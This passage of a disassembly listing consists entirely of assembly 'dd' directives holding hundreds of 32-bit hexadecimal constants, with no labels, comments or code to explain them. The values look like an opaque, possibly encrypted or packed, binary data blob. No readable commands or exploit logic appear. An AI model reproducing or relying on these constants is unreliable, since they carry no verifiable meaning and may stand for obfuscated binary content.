		dd 0FAB35E83h, 0E993B007h, 48BB8CABh, 38148C5h,	0DCCD2C6Ch
		dd 2DFD3539h, 937F9B0Eh, 0A2FB1DCBh, 207FD767h,	4D726C67h
		dd 2669A5FBh, 0CDCB78C9h, 0DFE650BBh, 1AF89ED6h, 0FDD9D56h
		dd 2D6EAA80h, 8608EA69h, 0C1C37824h, 0B4C62A07h, 3B306DA4h
		dd 5FBC71CCh, 6F5422F3h, 0E2F3512Ch, 40532229h,	0C3FC50BEh
		dd 0A376C267h, 0AABF36E8h, 4B31F907h, 0FA4A6FAh, 1556A931h
		dd 5C0EBCC0h, 0A984CAB1h, 4BFC8098h, 0D91FFB50h, 5EF5AA38h
		dd 0CFC64E79h, 50F5324h, 325EFF46h, 0C14828B4h,	753BD3Ah
		dd 0DB8251B8h, 0AD8A9414h, 0DBF4EFC2h, 461633BAh, 1825FF21h
		dd 3C383F49h, 8533FBF7h, 0E30383A0h, 0FD11753Ch, 88A3BBF8h
		dd 0A2A2F22Fh, 0E5294F55h, 0A9C5C6EBh, 2F747F63h, 9DC92183h
		dd 9F2C72F4h, 0E15010AFh, 0D5D5D04Dh, 0D00DE69Ch, 0C781B1BCh
		dd 6BADF34Fh, 0C64E32D7h, 0FCF63AACh, 7B7DCFBDh, 731E3287h
		dd 0CFEB9608h, 0DA8B8792h, 0EC72FC2h, 8441184Eh, 0ECD1D00Fh
		dd 127BCBB1h, 0FAC3A299h, 7622C64Bh, 3F51DB57h,	97E4E432h
		dd 0B41D0A46h, 80CD1701h, 0C4B715FAh, 21681C0h,	0FDB95E3Fh
		dd 2CF71B8h, 73FBFF59h,	0B39F1647h, 8368B936h, 6F9B85FEh
		dd 6B4AABDh, 7CECCAEh, 990F8CF0h, 0A9AEBF3Ch, 92723930h
		dd 1FF76DC5h, 9AF96FB4h, 9E3E08EFh, 0FDE2063Ah,	10455B1Eh
		dd 97F3BF36h, 37C0DAD1h, 0B778A25Bh, 5241E6B7h,	395BF239h
		dd 857BB89Bh, 0F019CDBEh, 23152423h, 0DDC86A43h, 0A6C9E938h
		dd 0A905A1E7h, 8D3F0BA3h, 45940F2Eh, 8C8BE22Ch,	0D778ED4Ah
		dd 7438163Ah, 4DD288h, 0A3155508h, 98C9B2BAh, 74B7A04Fh
		dd 0D033154Bh, 31155B49h, 0D05635B0h, 7EFA64D8h, 437648EAh
		dd 0F5346454h, 0F28AEA1Eh, 182D5456h, 8592DCA6h, 96CA3468h
		dd 81ACEB84h, 0C4BB2783h, 0EE2C80FAh, 71852913h, 130E01F5h
		dd 7FD13247h, 3881A14h,	0FB939A41h, 0CE266105h,	2A6510C2h
		dd 55FC6805h, 7F19E82Eh, 9ABDF471h, 6FEB1FA6h, 831DF863h
		dd 0FA341967h, 4DAD022Ah, 0ECFBC854h, 1B48B056h, 8D3DDF16h
		dd 0CD70437Dh, 453BDC44h, 37F9B6D9h, 0AEB9ED35h, 3F0A7D47h
		dd 3510E5C0h, 9662950Ah, 0C6ED19BFh, 0FE2CAC50h, 0DE63B9DDh
		dd 7809CD3h, 0F1542E37h, 0E2F41D78h, 0EE891210h, 5798DA4Ch
		dd 0B14BDF7Dh, 6AE5E245h, 6CEAB517h, 0A91F1D3Ah, 4E80AA6Ch
		dd 10945EABh, 0D17223A6h, 28714386h, 4DABEF23h,	0A0D6A959h
		dd 0C7ACF135h, 0E2D19C72h, 4BC527BBh, 0B35DCAB3h, 4A4BBC5Bh
		dd 65C8F519h, 0D7BE2E1Eh, 0A46D30C3h, 41EF7C31h, 5A7AB154h
		dd 0D0909483h, 0A9356388h, 0B8FD6F3h, 47C3EEA8h, 0A156DE4Bh
		dd 62DECB3Bh, 4574A6A7h, 0E8955835h, 3169098Dh,	0E96F76B1h
		dd 69739DAFh, 4DE14A16h, 0B0033AB1h, 66C92F30h,	8D026226h
		dd 0DDD01C30h, 0E669BF92h, 13A594E0h, 0FCC6E9EFh, 745CED42h
		dd 0CC7B928Fh, 199AD1CEh, 9116E391h, 602CCA7Dh,	402610FFh
		dd 0BDCE730Fh, 4183E165h, 0FBAE106Ch, 0D914CF2Ch, 0A4A124BBh
		dd 448E5E39h, 401415F3h, 73D53446h, 0E9ED42BCh,	0C3B658C1h
		dd 7D69B530h, 0C37147F9h, 0D4710042h, 5CA7800Fh, 0DEA52FF5h
		dd 0C10D94C8h, 0E99AEA80h, 320F6CDDh, 85610FD8h, 0AD1EE1CEh
		dd 26E3E676h, 0E3E42D64h, 21E4C97Fh, 86A2F23Ch,	5169A4CDh
		dd 0E8EA3941h, 7123058Fh, 82425508h, 23A7BE34h,	0ABFFADEBh
		dd 0FE3FCA07h, 14484D8Fh, 0E479DC01h, 73EFDFE4h, 47623B56h
		dd 59E0CE97h, 799380BEh, 7F2861DCh, 9C3378EEh, 0CE2B41EFh
		dd 0BCA8700Ch, 2286B5FBh, 0B2F2EE28h, 0F2E9F0CCh, 0ED971524h
		dd 44924F8Ah, 58B59042h, 27580ABBh, 0F5338776h,	3C49D974h
		dd 8CC76F79h, 55CD503Ch, 79CC4087h, 509A83C3h, 0B4734387h
		dd 727ABED6h, 6F2C6F1Fh, 0C78AFA65h, 74645758h,	0DDB3847Fh
		dd 7B56CF23h, 4A207905h, 0BE9091A2h, 67A07C18h,	9F9C3FA1h
		dd 7EC8DA8Ch, 0DEAB80C6h, 0B5202014h, 947EAE2h,	0B70B41CEh
		dd 691F6934h, 640D03AEh, 72F7F779h, 2A7B8613h, 63F35810h
		dd 0B9BEC6E5h, 6FBC8DECh, 0F22674F8h, 461BE6E9h, 692DA84Ah
		dd 0CB722D65h, 0CA996B56h, 0B3F083E4h, 0DBB6BD8Ch, 967902B4h
		dd 6D5A3B8Ch, 70416900h, 0FD4273D5h, 0BA6518E7h, 0DC7996DAh
		dd 20138CEDh, 1E8AEEFCh, 52633F26h, 2DAD6191h, 0B8DA2064h
		dd 41CF9C8Dh, 0B98A2011h, 0D3FF480Dh, 547FD955h, 0DDDE378Bh
		dd 0AA8691BDh, 0AF97D4B7h, 7494539h, 54BF4018h,	5ABD299h
		dd 7A828A3Fh, 0D49DB766h, 0AA366C57h, 7C4914BBh, 0A332D191h
		dd 0F1528982h, 0ACDDF8A8h, 301334E2h, 539E7BBh,	0B65CC94Bh
		dd 0F4FBDBFCh, 0DE10BCC4h, 5B5E73F5h, 9B93B105h, 3DC4C371h
		dd 0C36A4C88h, 0F71B68C6h, 7A507DA6h, 6B09B1Eh,	9B5F5C40h
		dd 6BEBCE29h, 0DE16EB2Dh, 8D414699h, 0B763FCF6h, 0C913AA09h
		dd 0DAA1950Bh, 0D2C9DFF6h, 6E43B995h, 0F568E9ACh, 0EB5146AAh
		dd 5C8906A1h, 0B1D7AB0Fh, 0E7FAC217h, 551EBB2Ch, 7ACC04B8h
		dd 0CE5E17A2h, 2940E17h, 2E10EB4Eh, 8B941928h, 33835EA2h
		dd 7DA3B2D9h, 0C05E247Ch, 0FF765A07h, 8F2E5ECFh, 0DA6AE423h
		dd 0B11C528Fh, 19A28CA5h, 9E9DDF6Dh, 524738Fh, 9B8F360Dh
		dd 31408915h, 60E6AC51h, 0E8B32FBEh, 8C05C57Fh,	849C2B9Bh
		dd 7D9390ABh, 53242559h, 0E9272F4Ah, 0A7C2A427h, 0F5B0324Ch
		dd 0DCC98B9Ch, 0E24BBF8Dh, 26F067D8h, 94396066h, 309A1F66h
		dd 0A57FA4FFh, 23E565h,	0B1BC8CAAh, 84F3EF55h, 0DE33FCE5h
		dd 9CA72FE6h, 9413A00Fh, 3BA9ACE8h, 83E3AE71h, 0E17B7492h
		dd 4C0CB685h, 0BA3582C5h, 0FFE94E2Bh, 9C6360D9h, 10FD5B77h
		dd 17ADFD6Fh, 0A8F13424h, 4FC38DD4h, 0E943D5A4h, 4A52AEA3h
		dd 336B8AF5h, 0B0F97533h, 213CBA48h, 109DDB7Eh,	0EE0A7D75h
		dd 873BEB56h, 1621A7FFh, 484B5195h, 0A882F7E6h,	1AA515EFh
		dd 0B7327337h, 0E812DA5Bh, 0F3409DB5h, 9786494Fh, 0B4F0740Eh
		dd 5E9A5230h, 2F7DE579h, 0FBED676Eh, 6185977Ah,	46C53F4Ah
		dd 0D5A7A682h, 7BEFE347h, 9B303DE8h, 0CFFE8890h, 695129ACh
		dd 997A3F84h, 8881AA8Dh, 0AC5B2700h, 4032FE98h,	0E48EFA78h
		dd 0A3A4BC98h, 45560427h, 373C613h, 8A016B0Eh, 9FDA222h
		dd 0A6F6341Fh, 6B6AA90Eh, 4A9FB073h, 0D5046D92h, 0A52144F1h
		dd 0A8145A0Eh, 95794A00h, 0B71FBD96h, 9CFAE13Bh, 1CF05665h
		dd 2A3030EBh, 0BFE24358h, 7DAC1F6Ch, 836410D8h,	10727E83h
		dd 0D774923Bh, 64728CDEh, 0CCF8B33Ch, 0C288FCA7h, 77249C7h
		dd 2C83FED3h, 93DFA55h,	0F852261Fh, 7C575E45h, 0AF300050h
		dd 0B130387Bh, 0F97DEF20h, 8C2FEF10h, 2D39931Ch, 0CB3D8884h
		dd 0E984D5BFh, 527514DFh, 7AD83A5Ch, 2004EA74h,	0C7FBA02Bh
		dd 0D98A6CF7h, 52C53B5Dh, 5632884Fh, 6310D591h,	0AFB86037h
		dd 0E263958Bh, 11B9F67Dh, 68B64AC9h, 6E2940Eh, 0D77C3BE9h
		dd 6A5D5317h, 23529C8h,	0C53F303Ch, 0FC9F1E88h,	2BBEEA2Ah
		dd 1D72608Fh, 0E6B07F92h
		dd 0EFED9163h, 0C6D0B7F6h, 0A1340BCCh, 9632F332h, 0BFA71C19h
		dd 0A4CE3EC4h, 4917F8B6h, 48427A63h, 2D10DCD1h,	0F64ADE8Fh
		dd 820024EFh, 6890CFC0h, 0A64BA12h, 0C6335DDAh,	0DE6269EAh
		dd 0A5ED9F9Dh, 0EE6B358Ah, 0B8E452C0h, 91846E7Eh, 8258F37Ah
		dd 0C5FBC894h, 7D95365Ch, 944BE24Eh, 0C089C363h, 4645C62Ch
		dd 0F04E5352h, 7A847450h, 92778145h, 720A8CD9h,	46C85A8Ch
		dd 0AFEA737Dh, 58B95E7Ch, 43CFA492h, 98955AA0h,	63285699h
		dd 10E94CAFh, 68B89719h, 8D87D351h, 0BE3571A6h,	24A32402h
		dd 0E306C49Eh, 2AEEF8C1h, 0B892ED1h, 6DB90EEAh,	2487DEE1h
		dd 0CAC77BD1h, 0DB5D5B68h, 3D3DC617h, 7A8B4D7Eh, 3A0F360Ch
		dd 0A9141D13h, 0E3F48140h, 88AC9E0Bh, 0A73E1339h, 31D56A96h
		dd 0FDB99588h, 8691E73Fh, 0B38A659Eh, 0D4AE7F58h, 0C2E60728h
		dd 0E4CDD0BBh, 59600A6Ch, 41D520D6h, 4FEEFDD0h,	521B4600h
		dd 38C8C8B9h, 46876626h, 0F069E21Ch, 0DD83993Dh, 23850727h
		dd 2188FD12h, 2BF1086Dh, 6D82921Dh, 8643905Fh, 0FAAE23BCh
		dd 0E117B653h, 5C3DC7FCh, 0BD53ADFBh, 551B265Bh, 0A72290Bh
		dd 18589598h, 708D1C2Ah, 54A8FAAh, 0ADDCE33Fh, 6DB94385h
		dd 22B52E33h, 62E1CDF8h, 0B732D6E9h, 0D08FA44Fh, 0A24FC20Bh
		dd 0B30CF448h, 0B1A0F859h, 0AE035331h, 2BDC2DDBh, 0EC8E81D6h
		dd 8EEEAC97h, 22CEF4D4h, 8AA29EDBh, 5193978Ch, 8D6C572Fh
		dd 0C720021h, 0DCECF3DEh, 92F71D6h, 0B5E26D3Dh,	90ABD6ADh
		dd 16E50547h, 67C38EADh, 3B875A29h, 2CCCE1EEh, 37BBEDBAh
		dd 2E155D44h, 59A5D1DEh, 0D2DDB470h, 8EA6DC13h,	0B754BF97h
		dd 46E464E8h, 1DCB8A46h, 17B10345h, 38464EDCh, 33BA79DEh
		dd 1FD83D46h, 6055E55Ah, 6DE6F462h, 7C16AB0Bh, 27F9CB26h
		dd 0F8570BCBh, 780DCDAFh, 531ADA6h, 2E4FC95Bh, 5FE68607h
		dd 23218D2Bh, 0D9B7EF3Ch, 5076D8F7h, 11E5BCA9h,	0FA2A2866h
		dd 437726C0h, 53BDF18Ah, 2BDBA78Dh, 367051DBh, 0B8C3DFC9h
		dd 0FEA86DEDh, 77345212h, 873C17CDh, 0B7DA62FCh, 212519D2h
		dd 9B77D32h, 1B797E0Bh,	27ECF68Bh, 1945EA3h, 0B9FCF27Ah
		dd 0D4737373h, 79A7C67Ah, 1C885870h, 3607A3AEh,	82330B21h
		dd 0D6E95108h, 0B9EE0BCCh, 869669A7h, 0D8F46BC3h, 75B8C754h
		dd 321DB3C4h, 0FBD5D71Fh, 0EA2E7A85h, 0DD5BD033h, 47F91FCCh
		dd 0DE217B59h, 697D7F41h, 0CC253C19h, 0FB508B13h, 79047DA0h
		dd 4C017494h, 0EB323EC9h, 0C8C83F39h, 2C19065Fh, 7D9C44ABh
		dd 8403C5F2h, 0F8747EB8h, 0E10B77B9h, 0F4079949h, 4AA00B30h
		dd 880ECBCEh, 485C99D0h, 2425D984h, 8DAF0166h, 3DC291A4h
		dd 34FCFE6Ah, 0FD5EAA8Bh, 0F9B7C79Ch, 91D4C864h, 427A9BA3h
		dd 0B15E1BE1h, 0F22D200Ch, 66BC9334h, 132C8D41h, 0E0607558h
		dd 2FDC66C7h, 1902867Eh, 4D3486BBh, 0FF32F288h,	1909934Fh
		dd 2E5E016Dh, 0C2A5D7BDh, 97F7E8A2h, 598C5600h,	2AC2347h
		dd 43480D83h, 9D22BA6h,	995E6D8Fh, 0ECCED4B5h, 29BA1626h
		dd 3CC4D4C3h, 0ED25F04Fh, 0F8DB7AC0h, 40E6C2C0h, 5C02B024h
		dd 36E4DA2Fh, 233422F5h, 0E5A00C56h, 351B6B56h,	2E3164A6h
		dd 1843F04h, 0C05EDEA1h, 39423A0Eh, 6BCEF2DFh, 0BC9458B8h
		dd 0DA88DE2Fh, 5331AD15h, 219EB798h, 9B327C2Ah,	21C83727h
		dd 0BAC9ACCFh, 0C374AB5h, 0A732572Ch, 5530970Fh, 0DF062889h
		dd 9FDFC93Ah, 113909B9h, 41468A6h, 844D60CDh, 0BB1E450Bh
		dd 0A86468BEh, 0FB26D85Ah, 3CCF6AB1h, 381F982Ch, 6B383712h
		dd 0E3A08F26h, 0A8D8F316h, 73E22D8Bh, 0E426FD4Ah, 0EB9AF15Ch
		dd 4797F656h, 0EA23938Bh, 0BB84C106h, 6C007620h, 22212BBh
		dd 3AAEF1D6h, 0E2194F6Ah, 86904349h, 0C95C71CBh, 0E8962593h
		dd 0FAE3F1C1h, 0E19A1CFh, 0B8AA2BB4h, 9EF7CE2Ah, 5B5FF765h
		dd 0AC89733Eh, 87A0352Dh, 3697A51Ah, 59BE70F3h,	2A371A39h
		dd 6A5CA2DFh, 0A8ED41B8h, 9B2AD75h, 0CE71C857h,	2C7A71E5h
		dd 0C10A552Eh, 0BDFA5753h, 0DF3C9C3Bh, 0EE2772D6h, 566A876Ch
		dd 365A0820h, 94E1C64Dh, 0B369CF76h, 5A6609A7h,	0D6DB8C71h
		dd 1572D097h, 64DD7B0Eh, 0D38DAFF8h, 23DE8A6Ch,	0FA1F3B48h
		dd 12A174ECh, 0EA04B075h, 0B3FEE8D2h, 6B6370C9h, 3DB87664h
		dd 9DA9E3h, 96B1E6B0h, 0DA5820CAh, 0E4BCE4E8h, 5B621952h
		dd 9B5D7FCEh, 0FAE8FB24h, 0BCA94603h, 68F4FC06h, 8AE972C3h
		dd 0E70719AEh, 9AFAB06Ah, 6ADB0474h, 2614E3FBh,	0D5CCBD3h
		dd 15B1FDD8h, 0F25DE210h, 0BF407669h, 0F9191A1h, 3904C5F3h
		dd 0E45D2C2Ah, 3B9D26FAh, 0DC05B2DFh, 0C34E9A20h, 52F2E3F4h
		dd 8BAC51F7h, 98C3E791h, 67BAB51Bh, 6C401ED1h, 0A0F9BAF4h
		dd 45B60E1h, 0EEB0390h,	6DCA3A50h, 381DED5Ah, 7B18AACEh
		dd 9B8D593Dh, 8468262Fh, 0D6A25181h, 0FE9BB032h, 8AB659D3h
		dd 2E6EE613h, 0B160FCB9h, 0C5B721D8h, 0F84736D0h, 0D38A7E3Dh
		dd 0BD579673h, 0D784792Bh, 0D53A4A7Ch, 9D9EEA99h, 728D82B2h
		dd 6DB0CEE9h, 0DB05D7DCh, 650718Eh, 0D8C54FF4h,	7A7E471Ah
		dd 0F06B4F04h, 72CC73DAh, 62355072h, 3AD8F3A4h,	20DE54BBh
		dd 0CEB69CEAh, 1E5B7579h, 2D36C867h, 19EE1006h,	0F3166FCDh
		dd 927EF2D7h, 5489B068h, 1663C0Bh, 7977B9ADh, 8640B552h
		dd 2BE031B9h, 0A21F6009h, 54C9CECBh, 4B2DCD65h,	0C98611DBh
		dd 0AB086E5Dh, 0B7A4F79Bh, 0CD5C47EBh, 0F44692C3h, 4BD86589h
		dd 0F75F6E57h, 0E681517Bh, 6707292Fh, 15B5670Eh, 9B73369Bh
		dd 9D598E2h, 0A4A05FBDh, 0E84DE799h, 580E9443h,	48BFDD6Ah
		dd 0E2D8A8D8h, 9D783CD7h, 0D80B14EFh, 6D7A65D3h, 16360EB3h
		dd 1202958Ah, 1CAA84D1h, 59EAA7B6h, 8CF1FACBh, 0BE36DFFFh
		dd 0AA0F7163h, 37281261h, 700B65ECh, 0BD71EB89h, 0A7453220h
		dd 5D641E3h, 14ED95DFh,	0C2F068DEh, 64A23D49h, 0A7535DC5h
		dd 531B0A6Fh, 21182701h, 38D7FF63h, 54180E99h, 88DAC3F3h
		dd 0B79837FFh, 0F1428FF4h, 0CAD96FB9h, 0E9DE46FFh, 0B9CC8CEh
		dd 9BDB7FC7h, 77860D5h,	9845DBCAh, 122D6F27h, 717A4BDFh
		dd 3C9BA6DCh, 2F8C3CA6h, 0D60ABFF3h, 0B8037D4h,	404BEF17h
		dd 32E3065Ah, 86158CACh, 0D9384C07h, 8912D966h,	5CA42A33h
		dd 5C06CBA8h, 10F3ED10h, 4C1625ADh, 581A5BB5h, 9543388Eh
		dd 1FC9C504h, 0D65153F9h, 66277D34h, 4D51411Dh,	73DE3691h
		dd 191562ADh, 0A7B52C69h, 0D1B7AF31h, 323E4805h, 3AF7090Eh
		dd 5C004DACh, 455257C6h, 6C3D7D87h, 0CD253FFEh,	4B4A035h
		dd 7CA2D9F5h, 40426DCAh, 0B371DA74h, 415CE380h,	0CE579E52h
		dd 0C158699Dh, 0F506ED52h, 0B5EA0E63h, 0EA40EA63h, 2650B9DFh
		dd 47E3E013h, 0A6AD68A1h, 0BE2A883Fh, 54B948A6h, 0D52BE818h
		dd 1311CA8h, 6AA174C5h,	0B4A33631h, 16FC701Fh, 27205DBCh
		dd 0DAB2463Fh, 6E83F384h, 96D13BC6h, 0FA9EF671h, 0CE6A72Dh
		dd 0D9E9D193h, 0CA2B2DF0h, 64486520h, 441673EBh, 8C2576F3h
		dd 280912B1h, 9D301022h, 0EB23D386h, 1FF1C49Dh,	517A7D0h
		dd 0C5CCD126h, 0C07E010h, 0F16B77BAh, 5AD9D712h, 8E027E86h
		dd 7FBD2F4Ah, 0D03E530Ah, 0AF699F3Fh, 0DB997370h, 99CCA4A5h
		dd 5708CDA8h, 8FC3BE4Ah, 0D770336h, 2E67B5D8h, 0F80155EFh
		dd 4EDB663Eh, 467E081Ch, 98A4B1B6h, 0B7752D22h,	9DACC2C1h
		dd 0AF11B5BAh, 0C0FB4B8Ch, 81BD74DEh, 7985298Ch, 0F6BDF07Bh
		dd 57844A5Bh, 1446A3B1h
		dd 9C8B0872h, 825A1ED0h, 0B5FA7355h, 6237C13Dh,	0F48BEAAh
		dd 2D618961h, 0A35EEFC7h, 91ED4272h, 0EA5CBEE7h, 71F7CDDCh
		dd 326302C7h, 55F0819h,	3A640875h, 228182C0h, 4DEABC0Bh
		dd 457E2C84h, 0FD34FCDAh, 0E42098BDh, 6093C324h, 1582B6A4h
		dd 9E066729h, 0A855977Ah, 0DA43D85Eh, 3F10495Dh, 325F0012h
		dd 0DBE85835h, 0F5192B3Eh, 41EB362Eh, 7AFE7756h, 6D0EBB08h
		dd 4397BB73h, 75019618h, 0DF1364D9h, 0C5FA141Ch, 7DDB7534h
		dd 0CFBBEAA1h, 0E4FF77Ch, 70840FA4h, 97EC7257h,	2060B9EBh
		dd 0A2496925h, 422C5F79h, 0CF808D79h, 837EADD3h, 1EB7FEE9h
		dd 0ACEF9357h, 0A3B61413h, 15F84F9h, 0A9F8EAE3h, 25928059h
		dd 1AF98640h, 277DDFC1h, 0C8838DDDh, 7C366F92h,	1F0B3AE5h
		dd 61FD39F0h, 225F5F88h, 1260362Ah, 0A76AB5B8h,	0CB9E5EBCh
		dd 0C5E3BF7h, 972060A1h, 120AFC8Fh, 0E2088EC1h,	0BD3EFCh
		dd 0CA7B1CD2h, 0FAA010C3h, 0D0D3EC4Bh, 0EC10EF54h, 0CDF8AE9h
		dd 0A072D459h, 6923501Ch, 81FB26FAh, 67E1B560h,	0AF8B7833h
		dd 61B15749h, 73544C37h, 22E7DF85h, 0A64A2799h,	61249EF7h
		dd 0D4FEDDA0h, 0FE384A58h, 53C812C4h, 0AAE4D96Dh, 0E65B8AD3h
		dd 1E745A7Ch, 0E97689E7h, 777032F5h, 72614B19h,	992D0607h
		dd 0A4DAF605h, 0CFA17BC3h, 33547CCh, 0E4DF126Ah, 45637B7Eh
		dd 0DAA1F9F2h, 802C1248h, 2D1B52EEh, 902058B6h,	0E8F58CA8h
		dd 0E6146DC5h, 409FC675h, 96F1DBEEh, 68252952h,	62F86F3Fh
		dd 43F5F7EAh, 84F8DF95h, 88F5DB4h, 7D60D63Dh, 1FB23198h
		dd 0DA6F3897h, 2B2A9388h, 5C540CA2h, 0BC6EE6B1h, 63C60B71h
		dd 73FE33F9h, 0FC59609Eh, 1AE2F459h, 0F8F644C0h, 0AB68F063h
		dd 6DC0322Eh, 56ED8859h, 0AD70DC73h, 0F79B791Ah, 28267E47h
		dd 0FD32EC4h, 0CA378AD2h, 2EF3E496h, 2F4C3C4Eh,	9EAD3320h
		dd 795E6D4Ah, 252B825Eh, 9A4FE6EBh, 96BFB504h, 9A84AC4Eh
		dd 49F32A4Eh, 0F2BA8C03h, 7E606AC1h, 0F6067CAFh, 96C25BBEh
		dd 0F801FB0Dh, 8AEC1055h, 0A0C89A1Fh, 0AB794914h, 0D15A9A17h
		dd 9EBCFC67h, 0F45592AFh, 66ED51D3h, 3FF919E3h,	772DECh
		dd 3A46B9B0h, 0F1FE662Bh, 0A05853C8h, 6EB931A3h, 9677ED9Ah
		dd 6DA299C1h, 66ECDEA5h, 2AA92E96h, 2290D02h, 31D0EA78h
		dd 0ABB412DBh, 0EF6E2C27h, 34F5B964h, 0C9ABAD30h, 7538FDBCh
		dd 0C9FC548Bh, 0FB866B17h, 0D7D5B7F0h, 4B490B80h, 534A7244h
		dd 272783FCh, 898C3562h, 0C2FF8F23h, 849E2EF8h,	0AFE9978Ah
		dd 0E2CDF00Bh, 798E90BAh, 80D6B09Eh, 584A09EAh,	0DF983B32h
		dd 3863230Dh, 4CDB5260h, 2FD650Dh, 291762C1h, 91DFF079h
		dd 32FF99B7h, 6FFC35C5h, 332FCF0h, 7F1C5AB9h, 769ECA2Fh
		dd 0E2C3A51h, 7E75D907h, 6DAC6A14h, 237207C6h, 3232133Eh
		dd 151D1DACh, 0C1268FB4h, 6027431Ch, 41D5794Dh,	1CBFB2F1h
		dd 81078E78h, 11516434h, 56E76222h, 0E2BA7A15h,	5EEF6EA1h
		dd 0FAE99C68h, 2FCF213Dh, 6020DACAh, 0B5D543AEh, 848E5399h
		dd 0AC832124h, 1F0AB8BDh, 308BC954h, 0DE465A13h, 0EC9308CCh
		dd 0A145CA96h, 92B73C89h, 0EDD1F7FCh, 987A672Eh, 6526E6BCh
		dd 2B3EE3C3h, 0E055419h, 5242F679h, 51B5B8B4h, 0B18E26E3h
		dd 3714E51Ah, 0A15F8FB8h, 6181622Dh, 66FCDEA1h,	0E90FB122h
		dd 42F952C8h, 770E11E5h, 0BAC1F890h, 599DF4E6h,	0E2C9C0C5h
		dd 37424F0Eh, 0DAF08690h, 2E3D4EB6h, 2B9FDE86h,	0CB313C84h
		dd 2E045E60h, 3E3FDC6Ah, 0A695242Dh, 86E4E066h,	58479543h
		dd 7762D1E7h, 40CAC73Ah, 0C0B909DCh, 0B64CBA0Bh, 0E49E0F10h
		dd 8F8FCC58h, 511B96FDh, 3FC8B37Ch, 341703C3h, 0C44ECA61h
		dd 4769C307h, 0B825B32Eh, 0C02D98F5h, 7AF73022h, 14963574h
		dd 0E2A97867h, 3C734F14h, 5D48035h, 8046F372h, 0DCC3F7B9h
		dd 0B3C0ACFAh, 55681F2Eh, 0AFE1C64Ch, 32692E69h, 0C3FB201Ah
		dd 0A6F4CBEBh, 39F9F5C7h, 0AE5CBE8Fh, 0A632BA51h, 0BDBD398Ah
		dd 21B9BA0Fh, 21883578h, 46011589h, 0C5625131h,	3450DA43h
		dd 1E212C4Ch, 38F71F8Ch, 85C7DD3Ah, 0D70EE873h,	0E687045Eh
		dd 20817AAh, 0FB040331h, 0C11FEDC8h, 0E3EDF19Dh, 0DD23567Ch
		dd 0EEBADA97h, 1D780702h, 592E15E7h, 87C04067h,	1EC59175h
		dd 8D7A1EA9h, 0FFF6C01Dh, 898BBD40h, 0A3545208h, 51242AE9h
		dd 65F86783h, 26166C0Ch, 0C61B272Dh, 0C4D4865Ah, 870F3A2Eh
		dd 0B6041BACh, 7E5911F5h, 190466F8h, 0B7EB892Ah, 0BD7380C7h
		dd 0C3668430h, 37CF8336h, 0DD1A4D8Ch, 1004CC7Fh, 80189F94h
		dd 0A5F7F589h, 388A3546h, 0A46659C5h, 0C71426F3h, 0D76DBE6h
		dd 58F16E65h, 8EB8DA6Eh, 157638Ah, 24BB044Fh, 580ED971h
		dd 0DF9B4664h, 0B2DF799Fh, 340A1BA5h, 7804D36Eh, 96144BCDh
		dd 0DDD45DA8h, 7F65C20Ch, 514C702Eh, 2C289E3Ch,	32F3BE68h
		dd 24737325h, 0CD61FBBh, 85195D18h, 139BE044h, 5585BDA6h
		dd 0D1B27E92h, 96589488h, 0EE60EFBCh, 0ADE18BE7h, 9BACC7E7h
		dd 0FE7005EBh, 8660AA19h, 98B08743h, 95B64F20h,	589309B2h
		dd 0B271AE51h, 0B4F5104h, 0E4206D6Eh, 26748460h, 0B72A31A6h
		dd 0F72E0183h, 0D4708A06h, 0B01542BCh, 0CB36BDC0h, 56970E60h
		dd 316238CAh, 0C4643E72h, 9025997Dh, 0D7EC2126h, 553DFA5Fh
		dd 2B449D7Ch, 0A0B09E59h, 0E576188h, 8D126654h,	0FCC90A53h
		dd 2062F00Bh, 5911F2C9h, 0E5F2600Bh, 40E4366Bh,	0D12DCE3Bh
		dd 732EEEA2h, 0C71CF37Bh, 0CFE67FCEh, 2719C6DCh, 0F650C60Bh
		dd 3E429DE7h, 4717CF35h, 8F1C88EBh, 47279B32h, 28D10B75h
		dd 0D8FFF775h, 5236BDAEh, 1817D532h, 1E49ECEDh,	59C078A0h
		dd 0A6467E54h, 0B8CD58A0h, 5E4ECB9Ch, 5E05434h,	47877273h
		dd 0C968FC3Dh, 8DC461CBh, 4E70FC6Bh, 0FE1567CBh, 1E9BDB3Ah
		dd 87CCD788h, 0F2401555h, 882A23D9h, 53824D7h, 0C91B32C8h
		dd 1A5DA07Eh, 481837A4h, 10AA6E23h, 0C7FFEBEBh,	5736492Ah
		dd 0DF49C4B8h, 10A7DDCDh, 65B451C5h, 469ABD1h, 2A155395h
		dd 4DAA3C77h, 0C07E990h, 810E3279h, 0C04BE508h,	8AF603A3h
		dd 9DF2971Ch, 6AEDB8D1h, 0E9C60771h, 622F5564h,	726C07F0h
		dd 5B912391h, 0FB6E8FEBh, 15B07495h, 3ED3BD6Ch,	83F07812h
		dd 75950219h, 0F68DBE36h, 0B273C320h, 5C9D3D0Ah, 6FC13103h
		dd 2BC86816h, 0F0EDEE40h, 7ED7157Ch, 0E50768CAh, 42AA89Bh
		dd 331B4027h, 0E5889830h, 0E8D7D7CBh, 117C7EE7h, 0A0FE752Dh
		dd 6A02390Ah, 7DB2EF2Dh, 2C04EA91h, 0B5EE3A2h, 80911A26h
		dd 89512800h, 0ED450C9h, 0C191ACE8h, 28AD2F6Ch,	0ADCB3E60h
		dd 0BA69B70Fh, 7B032A0Ah, 0C323C6FBh, 5C7ABF05h, 2D5C4248h
		dd 5F192926h, 55860BC4h, 0C670B8EDh, 79B5385Ch,	0EF9154FCh
		dd 0A4D78602h, 0EE3744AFh, 0AE25B89h, 9FF90157h, 9DBE2B8Bh
		dd 52BE9CA4h, 86CAF92Ch, 0F5582CA0h, 702166C3h,	91B723BEh
		dd 18C01D8Fh, 597604EFh, 0C81EB2B8h, 96858442h,	0B013EBA0h
		dd 98E971CAh, 2A822B88h, 0A8DCB62Ah, 6C46C253h,	3E2D7DD4h
		dd 6EEB6E86h, 71EDD698h, 83EC955h, 40E05456h, 321BE54h
		dd 0F12C4CACh, 874EBDE5h, 0A5610618h, 5F4D8401h, 150B94D7h
		dd 6CCDD784h, 8CD2FA7Ch, 0EE6A7DB7h, 99817F41h,	715F530Ch
		dd 70B23C05h, 0DC4111BAh, 0D0A995ACh, 0BCC8AD86h, 0A77A35B8h
		dd 32E287EDh, 6E833F23h, 55A85C5h, 6159CECBh, 0CA18B85Bh
		dd 3D30B813h, 15CC87A9h
		dd 0A52164FFh, 8943940Ch, 3498AAC4h, 21046DD6h,	55782BDBh
		dd 0D90B7E9Fh, 0C3649349h, 0E4D09522h, 5E2FED9Dh, 0D426CFB3h
